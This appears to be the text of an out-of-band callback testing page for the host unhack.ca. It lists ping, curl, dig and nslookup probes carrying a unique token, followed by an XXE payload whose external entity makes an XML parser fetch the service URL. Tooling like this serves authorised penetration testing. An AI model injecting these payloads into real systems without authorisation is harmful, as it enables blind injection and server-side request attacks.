$ ping -c1 -p 001ff3db0fe17adc98a2d9c54e761200 unhack.ca
 
$ curl http://unhack.ca/p/1ff3db0fe17adc98a2d9c54e7612
 
$ dig 1ff3db0fe17adc98a2d9c54e7612 @unhack.ca
 
$ dig 1ff3db0fe17adc98a2d9c54e7612.ns.unhack.ca
 
C:\> nslookup 1ff3db0fe17adc98a2d9c54e7612 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1ff3db0fe17adc98a2d9c54e7612">]>
    <foo>&xxe;</foo>
 
Waiting for ping...